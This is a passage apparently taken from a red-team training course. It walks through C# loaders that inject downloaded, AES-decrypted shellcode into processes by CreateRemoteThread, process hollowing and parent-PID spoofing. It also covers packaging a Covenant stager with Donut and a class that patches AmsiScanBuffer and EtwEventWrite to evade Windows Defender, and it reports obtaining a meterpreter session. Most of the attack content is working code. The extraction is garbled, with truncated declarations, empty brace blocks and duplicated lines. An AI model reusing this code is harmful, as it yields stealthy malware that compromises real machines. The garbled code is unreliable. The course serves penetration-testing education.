// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
IntPtr dwSize, int lpNumberOfBytesWritten);

// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
}
{
{


{
AES.KeySize = 256;
{
cs.Close();
}
}
}
}
}

class Program
{
public static int GetPid(string procName)
{
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}

public static void InjectShellcode(byte[] shellcode, int remoteProcId)

{
// Open the remote process
IntPtr hProcess = Win32.OpenProcess( Win32.PROCESS_CREATE_THREAD | Win32.PROCESS_QUERY_INFORMATION |
Win32.PROCESS_VM_OPERATION |
Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ, false, remoteProcId);
// Allocate memory with PAGE_READWRITE
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, Win32.MEM_COMMIT,
Win32.PAGE_READWRITE);
// Copy shellcode into allocated memory
Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
// Change memory permission to PAGE_EXECUTE_READ
uint oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out
oldProtect);
// Create a remote thread to execute shellcode
Win32.CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new
IntPtr(0));
}


{
ssl
return shellcode;
}


{
string procName = args[1];
int remoteProcId = GetPid(procName);
Console.WriteLine("[>] Injecting shellcode into {0} with PID {1}",procName, remoteProcId);
InjectShellcode(shellcode, remoteProcId);
}
}

Process Hollowing
Process Hollowing is a code injection technique which involves
creating a new legitimate process in suspended state. The
legitimate image is then unmapped and replaced with the image
of the process to be hidden. When the new image is loaded, the
EAX register of the suspended thread will be configured as the
entry point and to be executed when the process is resumed.
For the following example some parts of the process hollowing

will be omitted as the main goal is to inject shellcode into the
process. A full example can be observed here.
https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.188
The main functions used will be:

• CreateProcessA: For creating the process into a suspended
state
• VirtualAllocEx: To allocate memory into the suspended
process.
• VirtualProtectEx: For changing permissions into the allocated
memory.
• WriteProcessMemory: Writing the shellcode into the allocated
memory
• CreateRemoteThread: To execute the shellcode
Go to Slide 337 and 338 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.189
Create a new Win32 class where
the Windows API Functions will be
defined and their needed
structures and classes.
• L14-21: Contains the security
descriptor for an object.
• L23-30: Contains information
about a newly created process
and its primary thread.
• L33-54: Specifies the window
station, desktop, standard
handles, and appearance of the
main window for a process at
creation time.
L57-89: Process Creation Flags

used by CreateProcessA
Windows API Function.
https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.191

Windows API
Functions used during
the process hollowing
are defined from lines
91-119.
From lines 120 to 131

we will define variables
used by Windows API
functions.
After adding the Encrypt Class with the
AES_Decrypt function, create a function
named Hollow in our Program class
accepting a target binary path as a string
and a byte array containing the shellcode.
This function will:

• L170: Create a process with the
target binary path in suspended state
• L174: Allocate memory for the
shellcode with PAGE_READWRITE
permissions
• L177: Copy the shellcode into the
allocated memory section.
• L180: Change memory permission to
PAGE_EXECUTE_READ.
• L183: Execute the shellcode via
CreateRemoteThread.
In this case, the main function has the payload shellcode url hardcoded into the "url" variable in
line 204 and the target binary "C:\Windows\System32\userinit.exe" hardcoded into the
targetBinary variable.
When the program its executed, it will download the encrypted shellcode, decrypt it in memory,
start the target binary in suspended state and create a remote thread with the shellcode.
When executed, the shellcode will be downloaded and decrypted in memory, a new process with the target
binary is created in suspended state and the shellcode will be injected in a new thread.
# Create shellcode
# Encrypt shellcode
# Execute
6_Process_Hollowing.exe

Code:
using System;
using System.IO;
using System.Net;
using System.Text;
public class Win32

{
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDeshellcoderiptor = IntPtr.Zero;
public bool bInheritHandle = false;

public SecurityAttributes() { this.Length = Marshal.SizeOf(this); }

}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;

public IntPtr lpTitle = IntPtr.Zero;

public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;
public Int32 dwFlags = 0;
public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo() { this.cb = Marshal.SizeOf(this); }
}
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags
[Flags]
public enum CreateProcessFlags : uint

{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,

PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine,
SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, [In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);

public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize,
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);

}


{
{
{
{
AES.KeySize = 256;

{
cs.Close();
}
}
}
}
}
{
public static void Hollow(string targetBinaryPath, byte[] shellcode)
{
// Local variables
Int32 size = shellcode.Length;
Win32.StartupInfo sInfo = new Win32.StartupInfo();
sInfo.dwFlags = 0;
Win32.ProcessInformation pInfo;

// Create the process with CREATE_SUSPENDED flag

IntPtr funcAddr = Win32.CreateProcessA(targetBinaryPath, null, null, null, true,
Win32.CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
// Allocate memory for the shellcode
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, new IntPtr(0), size, Win32.MEM_COMMIT,
// Write shellcode into allocated memory
bool bWrite = Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, (IntPtr)size, 0);
uint oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ,
out oldProtect);
Console.WriteLine("[>] Executing Shellcode in {0} with PID {1}", targetBinaryPath,
pInfo.dwProcessId);
Win32.CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new
uint(), new IntPtr(0));
}


{
// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-when-ssl
return shellcode;
}


{
Console.WriteLine("Start");
string url = "http://192.168.1.84:8080/shellcode.bin_enc";
// Target Binary
string targetBinaryPath = @"C:\\Windows\\System32\\userinit.exe";
// Process Hollowing
Hollow(targetBinaryPath, shellcode);
}
}

Parent Pid Spoofing and CreateRemoteThread Shellcode

Injection.
Spoofing the Parent Process Identifier can be useful to

evade process-monitoring defenses. New processes are
typically spawned directly from their parent or calling
process unless explicitly specified. The Windows API Call
CreateProcess supports defining the parameter identifying
the Parent Process Identifier to use.
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.208
The main functions used will be:
• OpenProcess: Read information from an existing process
object.
• InitializeProcThreadAttributeList: Initializes the specified list of
attributes for process and thread creation.
• UpdateProcThreadAttribute: Updates the specified attribute in
a list of attributes for process and thread creation.
• CreateProcess: Creates a new process and its primary thread.
The new process runs in the security context of the calling
process.
Go to Slide 337 and 338 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.209
The main functions used will be (cont.):

• VirtualAllocEx: To allocate memory into the suspended
process.
• VirtualProtectEx: For changing permissions into the
allocated memory.
• WriteProcessMemory: Writing the shellcode into the
allocated memory
• CreateRemoteThread: To execute the shellcode
The first step is to create a Win32 class

where all the structures and Windows API
functions will be declared.
• STARTUPINFOEX L13-19: Specifies the
window station, desktop, standard
handles, and attributes for a new
process
• STARTUPINFO L22-42: Specifies the
window station, desktop, standard
handles, and appearance of the main
window for a process at creation time.
• PROCESS_INFORMATION L45-5:
Contains information about a newly
created process and its primary thread
• SECURITY_ATTRIBUTES L53-60:
The SECURITY_ATTRIBUTES
structure contains the security
descriptor for an object and
specifies whether the handle
retrieved by specifying this
structure is inheritable.
• ProcessAccessFlags L62-78:
Specifies the process-specific
access rights.
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.212
• Windows API Functions

mentioned before and
constants from line 78 to
the end of this class in
line 137.

• Windows API Functions

mentioned before and
constants from line 78 to
the end of this class in
line 137.

The next function SpoofParent, will

accept an integer as the parent process
Id to spoof and a target binary path to
start with the spoofed PPID.
It will initialize the required structures

for CreateProcess Windows API
Function, Open the target process and
update the STARTUPINFO
lpAttributeList
PROC_THREAD_ATTRIBUTE_PARENT_
PROCESS with the value of the parent
process Id for starting the target binary
path with this information.

The next function SpoofParent, will

accept an integer as the parent process
Id to spoof and a target binary path to
start with the spoofed PPID.
It will initialize the required structures

for CreateProcess Windows API
Function, Open the target process and
update the STARTUPINFO
lpAttributeList
PROC_THREAD_ATTRIBUTE_PARENT_P
ROCESS with the value of the parent
process Id for starting the target binary
path with this information.

The next function, InjectShellcode will accept a byte array containing the decrypted shellcode and an integer
belonging to the remote process id where the shellcode will be injected. The function will:
• 234: Open a handle to the remote process
• 237: Allocate memory in the remote process with PAGE_READWRITE permissions
• 240: Write the shellcode into the allocated process memory
• 242-243: Change memory permissions to PAGE_EXECUTE_READ
• 245: Create a remote thread in the target process executing the injected shellcode.
After adding the downloader function. The
Main function will perform the following
actions:
• L265-266:Hide the process windows.
• L267: Get the PID from Explorer process
• L268-269: Define the process to be
started with the spoofed PPID and
Shellcode URL
• L270: Download the encrypted shellcode
into a byte array
• L271-273: Decrypt the shellcode
• L276: Call the SpoofParent function to
spoof the PPID from the running explorer
instance
• L278: Injects the shellcode into the
process started with the spoofed parent
id.
When executed, the shellcode will be

downloaded and decrypted in memory, a new
process will be created with explorer as its
parent process id and the shellcode will be
injected into it.
# Create shellcode
# Encrypt shellcode
# Execute
7_PPID_CreateRemoteThread.exe

Code:
using System;
using System.IO;
using System.Net;
using System.Text;
public class Win32

{
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexa
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
public struct PROCESS_INFORMATION
{
public int dwProcessId;
public int dwThreadId;
}
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
[MarshalAs(UnmanagedType.Bool)]
public bool bInheritHandle;
}

[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}

[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int
processId);
updateprocthreadattribute
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute,
IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

initializeprocthreadattributelist
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount,
int dwFlags, ref IntPtr lpSize);
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
IntPtr dwSize, int lpNumberOfBytesWritten);
// Variables
}


{
{
{
{
AES.KeySize = 256;
{
cs.Close();
}

}
}
}
}
{
public static int GetPid (string procName)
{
// Find Process ID by its name
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}

public static int SpoofParent(int parentProcessId, string binaryPath)

{
// STARTUPINFOEX members
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
// STARTUPINFO members (dwFlags and wShowWindow)
const int STARTF_USESTDHANDLES = 0x00000100;
const int STARTF_USESHOWWINDOW = 0x00000001;
const short SW_HIDE = 0x0000;
// dwCreationFlags
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const uint CREATE_NO_WINDOW = 0x08000000;
// Structs
var pInfo = new Win32.PROCESS_INFORMATION();
var siEx = new Win32.STARTUPINFOEX();
// Vars
IntPtr lpValueProc = IntPtr.Zero;
IntPtr hSourceProcessHandle = IntPtr.Zero;
var lpSize = IntPtr.Zero;

// Initializes the specified list of attributes for process and thread creation
Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
// Allocates memory from the unmanaged memory of the process.
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
// Initializes the specified list of attributes for process and thread creation
Win32.InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize);
// Opens the parent process with CreateProcess and DuplicateHandle permissions
IntPtr parentHandle = Win32.OpenProcess(Win32.ProcessAccessFlags.CreateProcess |
Win32.ProcessAccessFlags.DuplicateHandle,
false, parentProcessId);
// Allocates memory from the unmanaged memory of the process.
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
// Writes the parentHandle address into lpValueProc
Marshal.WriteIntPtr(lpValueProc, parentHandle);
// Updates the StartUpInfo lpAttributeList PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
// with the value of the Parent Process to spoof (lpValueProc)
Win32.UpdateProcThreadAttribute(siEx.lpAttributeList, 0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc,
(IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);

// StartupInformation flags
siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
siEx.StartupInfo.wShowWindow = SW_HIDE;
// Create new Process and Thread security Attributes
var ps = new Win32.SECURITY_ATTRIBUTES();
var ts = new Win32.SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
// Creates the process with modified STARTINFO
bool ret = Win32.CreateProcess(binaryPath, null, ref ps, ref ts, true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
IntPtr.Zero, null, ref siEx, out pInfo);
if (!ret) { return 0; }
return pInfo.dwProcessId;
}

public static void InjectShellcode(int remoteProcId, byte[] shellcode)

{
// Opens the target process
IntPtr procHandle = Win32.OpenProcess(Win32.PROCESS_CREATE_THREAD | Win32.PROCESS_QUERY_INFORMATION |
Win32.PROCESS_VM_OPERATION |
Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ, false, remoteProcId);
// Allocate memory with PAGE_READWRITE permissions
IntPtr spaceAddr = Win32.VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,
Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
// Write shellcode into memory
Win32.WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
uint oldProtect;
Win32.VirtualProtectEx(procHandle, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out
oldProtect);
// Create a new thread to execute shellcode
IntPtr threatH = Win32.CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new
IntPtr(0), new uint(), new IntPtr(0));
return;
}


{
return shellcode;
}


{
int parentProcessId = GetPid("explorer");
string binaryPath = @"C:\\Windows\\System32\\notepad.exe";
string url = "http://192.168.1.84:8080/shellcode.bin_enc";
Console.WriteLine("[+] Launching {0} with PPID: {1}", binaryPath, parentProcessId);
int remoteProcessId = SpoofParent(parentProcessId, binaryPath);
Console.WriteLine("[>] Injecting shellcode in PID: {0}", remoteProcessId);
InjectShellcode(remoteProcessId, shellcode);
}
}

DONUT: Generating Position Independent Shellcode From

.NET executables.
Donut is a shellcode generation tool that creates x86 or x64

shellcode payloads from .NET Assemblies. This shellcode
may be used to inject the Assembly into arbitrary Windows
processes with the examples shown before.

Given an arbitrary .NET Assembly, parameters, and an entry

point (such as Program.Main), it produces position-
independent shellcode that loads it from memory. The .NET
Assembly can either be staged from a URL or stageless by
being embedded directly in the shellcode. Either way, the
.NET Assembly is encrypted with the Chaskey block cipher
and a 128-bit randomly generated key.

After the Assembly is loaded through the CLR, the original

reference is erased from memory to deter memory
scanners. The Assembly is loaded into a new Application
Domain to allow for running Assemblies in disposable
AppDomains.
To install donut a release can be downloaded from

https://github.com/TheWover/donut/releases or it can be
easily compiled following the instructions on the Github.
https://github.com/TheWover/donut/tree/master PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.237
Modifying the last example to inject a .NET shellcode can

be accomplished by:
• Generating a position independent shellcode from a .NET
Executable using Donut. In this case it will be a
Covenant’s Grunt stager.
• Hosting the shellcode into the webserver and changing
the url string to the new location.

A Binary launcher using

Net40 framework needs to
be generated.
In this case it will be using a

default listener profile
previously created.

The next step is to convert the binary

launcher to a position independent
shellcode using Donut.
After the shellcode has been generated,

the AES Encryption module will be used in
order to create an encrypted version of
the shellcode matching the loader.
# Convert .NET to Shellcode

~ donut <NET_BINARY> –o <OUTPUT_FILE>
# Encrypt the shellcode
2_aes_encryption.exe <SHELLCODE>

Then the main function from the previous example will be

modified to point to the Grunt Stager URL.

Once executed in the target

system, the grunt stager is
injected into the notepad
process appearing to be
launched by explorer.exe.

Implementing AMSI Bypasses in our payloads.

Starting from .NET 4.8 and Windows 10, Anti Malware Scan
Interface has visibility on our previously developed C#
Payloads. This means that Defender will kill our payload as
soon as the shellcode gets decrypted into memory.
However, this can be avoided by patching the
AmsiScanBuffer function before starting the payload
execution.

In this case the process hollowing code will be reused adding an AMSI
bypass. The following functions need to be added to the Win32 class:
• GetProcAddress L118-119: To get a handle of the current process.
• LoadLibrary L122: For loading the amsi.dll library
• FreeLibrary L125: Free the amsi.dll library.
A new class EVASION will be added.

This class has patches for
AmsiScanBuffer and EtwEventWrite
for 32- and 64-bits processes.
To avoid signature detection, some

strings have been base64 encoded.
They are decoded by calling the
decode function from L181-184.
PatchASB and PatchETW functions
detects if they are running in 32 or 64
by checking the IntPtr size and apply
the appropriate patch using
PatchMem function.
PatchMem function requires 4 parameters, a
byte array containing the patch, a dll name as a
string, a function name as a string and an offset
as an Int64. The offset is used to avoid using
GetProcAddress in suspicious functions like
AmsiScanBuffer, so we can get the address
calculating a near function + offset. In this
example, to reach the AmsiScanBuffer function
we are calculating the DllGetClassObject
function address and adding the offset to
AmsiScanBuffer.
Once the function address to be patched is

calculated, VirtualProtect is used to change the
memory permissions, Marshal.Copy function is
used to apply the patch and the previous
memory permissions are restored with
VirtualProtect again to free the library later
using the FreeLibrary function.
In the Main function, the first step will be to apply the patches in L296 via EVASION.PatchAll function.
Instead of downloading the shellcode, the encrypted version will be stored into a byte array, remember
that 2_aes_encryption.exe developed before prints the shellcode into screen.
For testing purposes the process window will not be hidden and there are 2 Console.ReadKey calls
(L297, L310) to stop the program and observe how it works.

After compiling and executing
the payload into an updated
Windows 10 Machine with Real-
Time, Cloud-Delivered and
Tamper Protection enabled, we
successfully receive a
meterpreter session back to the
attacker machine.
Note: Beware that defense

evasion is a cat-and-mouse
game where red teamers must
be constantly researching for
new bypasses as these get
eventually picked up by defense
systems.
Code:
using System;
using System.IO;
using System.Net;
using System.Text;
public class Win32

{
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDeshellcoderiptor = IntPtr.Zero;
public bool bInheritHandle = false;
public SecurityAttributes() { this.Length = Marshal.SizeOf(this); }
}

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information
public struct ProcessInformation
{
public Int32 dwProcessId;
public Int32 dwThreadId;
}
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;
public IntPtr lpTitle = IntPtr.Zero;
public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;

public Int32 dwFlags = 0;

public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo() { this.cb = Marshal.SizeOf(this); }
}
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags
[Flags]
public enum CreateProcessFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,

REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}

public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine,
SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, [In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize,
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary
public static extern bool FreeLibrary(IntPtr hModule);

}
{
{
{
{
AES.KeySize = 256;


{
cs.Close();
}
}
}
}
}
public class EVASION
{
// ASB Patches
static byte[] amsix64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] amsix86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
// EtwEventWrite Patches
static byte[] etwx64 = new byte[] { 0x48, 0x33, 0xc0, 0xc3 };
static byte[] etwx86 = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };

private static string decode(string b64encoded)

{
